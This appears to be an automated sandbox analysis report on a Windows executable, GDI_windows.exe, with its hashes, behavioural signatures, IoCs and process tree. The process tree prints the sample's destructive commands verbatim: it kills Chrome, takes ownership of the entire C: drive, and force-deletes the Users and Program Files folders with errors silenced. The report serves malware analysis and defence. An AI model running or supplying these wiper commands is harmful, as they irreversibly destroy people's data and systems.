Analysis
- user interaction
yes - max time kernel
175s - max time network
190s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260126-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260126-enlocale:en-usos:windows10-ltsc_2021-x64system - submitted
24/04/2026, 02:34
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
GDI_windows.exe
Resource
win10ltsc2021-20260126-en
windows10-ltsc_2021-x64
12 signatures
150 seconds
Errors
Reason
Machine shutdown
General
- Target GDI_windows.exe
- Size 250KB
- Sample260424-c2sxtac12w
- SHA256 b1307119fd7b4ce1b43521557700ef070a8da1f1143b2bc0ab5f33c0de63fc29
- MD5 d375d6cbae15dafe9b29d5c2041425a7
- SHA1 530bfea90ea89d537ff18d1f8548dc78df43d88e
- SHA512 520daf247e18409355aa116b60729a8e8362df2100ad36e9a1a5d30462687999e63f72f614e6c318011af514a589c68683267dd664959df98680ae132ea22e39
- SSDEEP 3072:92H91QB+nSPA5YlqlCl8evXqXXKEG0TkX:9M1lSPSflQ8mXqHfG7X
- TLSH T1E7444A86FB96AD97DA15023FCDDF836E3338F3D046878B175A3876301A176D1AD86206
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Modifies file permissions 1 TTPs 1 IoCs
pid Process 4680 takeown.exe - Drops desktop.ini file(s) 45 IoCs
description ioc Process File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini powershell.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Links\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Searches\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini powershell.exe File opened for modification C:\Users\Public\Pictures\desktop.ini powershell.exe File opened for modification C:\Users\Public\Videos\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Documents\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Videos\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini powershell.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini powershell.exe File opened for modification C:\Program Files (x86)\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini powershell.exe File opened for modification C:\Users\Public\Desktop\desktop.ini powershell.exe File opened for modification C:\Users\Public\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini powershell.exe File opened for modification C:\Program Files\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Music\desktop.ini powershell.exe File opened for modification C:\Users\Public\Documents\desktop.ini powershell.exe File opened for modification C:\Users\Public\Downloads\desktop.ini powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI powershell.exe File opened for modification C:\Users\Admin\3D Objects\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini powershell.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini powershell.exe File opened for modification C:\Users\Public\Libraries\desktop.ini powershell.exe File opened for modification C:\Users\Public\Music\desktop.ini powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\WINDOWS\SysWOW64\config\OSDATAxH GDI_windows.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Google\Chrome\Application\140.0.7339.81\vk_swiftshader_icd.json powershell.exe File opened for modification C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentR_Grace-ppd.xrm-ms powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\msvcp140.dll powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Adobe\Reader\DC powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\mt.pak.DATA powershell.exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Diagnostics\Simple\Simple.Tests.ps1 powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.FileVersionInfo.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Excel2019VL_KMS_Client_AE-ul-oob.xrm-ms powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_OEM_Perp-ul-oob.xrm-ms powershell.exe File opened for modification C:\Program Files\Windows Media Player\setup_wm.exe powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\1.3.195.65\msedgeupdateres_ar.dll powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\jfxmedia.dll powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\msvcp140.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AccessR_OEM_Perp-ul-phn.xrm-ms powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adc_logo.png powershell.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\prism_sw.dll powershell.exe File opened for modification C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\it-IT powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\ffmpeg.dll powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pt-BR\ReachFramework.resources.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019VL_MAK_AE-ul-phn.xrm-ms powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\en-gb powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\SmallLogoBeta.png powershell.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\ja\System.Net.Resources.dll powershell.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsfra.xml powershell.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightItalic.ttf powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.White.png powershell.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\ja\System.Net.Resources.dll powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugin.js powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp2-ul-oob.xrm-ms powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL\PREVIEW.GIF powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\libEGL.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProR_Retail-ul-oob.xrm-ms powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-down_32.svg powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\hu-hu powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\mt.pak powershell.exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\it-IT\MSFT_PackageManagement.strings.psd1 powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\tr\ReachFramework.resources.dll powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\es\System.Windows.Input.Manipulations.resources.dll powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\System.Drawing.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\Document Parts powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA\OpenSSL64.DllA\libssl-1_1-x64.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\GKExcel.dll powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\ONGuide.onepkg powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-100.png powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\sbicuuc58_64.dll powershell.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ar-ae powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\es-es powershell.exe File opened for modification C:\Program Files (x86)\Common Files\System\ado\msado20.tlb powershell.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RUI.dll powershell.exe File opened for modification C:\Program Files\Common Files\System\msadc\de-DE powershell.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\it\System.Data.DataSetExtensions.Resources.dll powershell.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\selection-actions2x.png powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\nl-nl\ui-strings.js powershell.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll powershell.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 4152 powershell.exe 2512 powershell.exe 800 powershell.exe - Program crash 1 IoCs
pid pid_target Process procid_target 3532 4456 WerFault.exe 80 - System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GDI_windows.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe - Kills process with taskkill 1 IoCs
pid Process 4480 taskkill.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4152 powershell.exe 4152 powershell.exe 2512 powershell.exe 2512 powershell.exe 800 powershell.exe 800 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4480 taskkill.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe Token: SeTakeOwnershipPrivilege 4680 takeown.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4456 wrote to memory of 4636 4456 GDI_windows.exe 82 PID 4636 wrote to memory of 4480 4636 cmd.exe 83 PID 4456 wrote to memory of 4616 4456 GDI_windows.exe 85 PID 4616 wrote to memory of 4680 4616 cmd.exe 86 PID 4456 wrote to memory of 1456 4456 GDI_windows.exe 90 PID 1456 wrote to memory of 4152 1456 cmd.exe 91 PID 4456 wrote to memory of 556 4456 GDI_windows.exe 92 PID 556 wrote to memory of 2512 556 cmd.exe 93 PID 556 wrote to memory of 800 556 cmd.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\GDI_windows.exe"C:\Users\Admin\AppData\Local\Temp\GDI_windows.exe"1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im chrome.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4480
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c takeown /f C:\ /r /d y2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Windows\SysWOW64\takeown.exetakeown /f C:\ /r /d y3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4680
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\* &/OSDATAxH2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\*3⤵
- Drops desktop.ini file(s)
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4152
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Program*\* &powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\* &/OSDATAxH2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Program*\*3⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2512
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\*3⤵
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:800
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4456 -s 5082⤵
- Program crash
PID:3532
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x320 0x4041⤵PID:2124
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4456 -ip 44561⤵PID:3764
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3532 -ip 35321⤵PID:4752
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 1KB
- SHA256 1f4966c208f72a652bc4fe09dcb6f725b6a25543e3f4124e4164bb95da9d6713
- MD5 daecd2bfb3ec6c7c945161c09d73a2d2
- SHA1 0f8b30932c84f71ee37d346155dceeb72c40149f
- SHA512 935af1b008110224ce5e03aa1daa792aada28ff65c00fa3b8998f7f439b16121a7bca011890f8515edfe576d8ae91de135bf1f021e2c0ece5544aab329465792
- TLSH T169415F303161B5D90D425F1219286EC563EF8749AFAC9F5CB569231DCE2B44BD7221F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 15KB
- SHA256 4719cc4300e302a298dccb35f1c1dd6ae69bdf78616f188a5dfefb43b22644fa
- MD5 7309b6bf57a683f00318dd00238e45a2
- SHA1 10da6d7c17d18cf5723fc7ee6dd7c8b070e7e2ca
- SHA512 584b42fff3d3e2c503ff44396a1363b64a80d96481584baf4112ddc5c881fc3f5fe5a85bc194b2b1946340983bcd6939a222b264116cc5dc0b680ca9f61cf906
- SSDEEP 384:hafQNWMaoMzioAUtrVMlcs2d+4UcfRXceNiRZSvD1JzsW:wf5MrMzBVg2Mxcfy7OTL
- TLSH T1A072A65A61A78DF9DFC151B0555D01EFFFD4E8809B3972CCAA2DFA294CD393A9320094
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 15KB
- SHA256 e80fc7c95ae8f3646c11ecc5bd7f875bcfadcf9f0d66b46360696312556cbdaa
- MD5 c1314f90dc8b55064f9ab26cdbd86218
- SHA1 1d75457e46fe8856546a808a9da545d834b30d35
- SHA512 2fbbc922fb83d369a96ced0277bb7557b29397ec32e129b170540005bd43d88739ee149507daece153edc7b1726c15892413c0b89c7ae8f3a6f05e3804201ecf
- SSDEEP 384:asQrWMMSd/qtcXqMjgc6Sm2l7sDkDiJtYxu:pHMoMkc1nmh
- TLSH T14F72C50D65EF8D8EDFC020B0894D438AEFE0EC51A331758EA91EBA595CD7D3D82200E8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1azwscld.gii.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH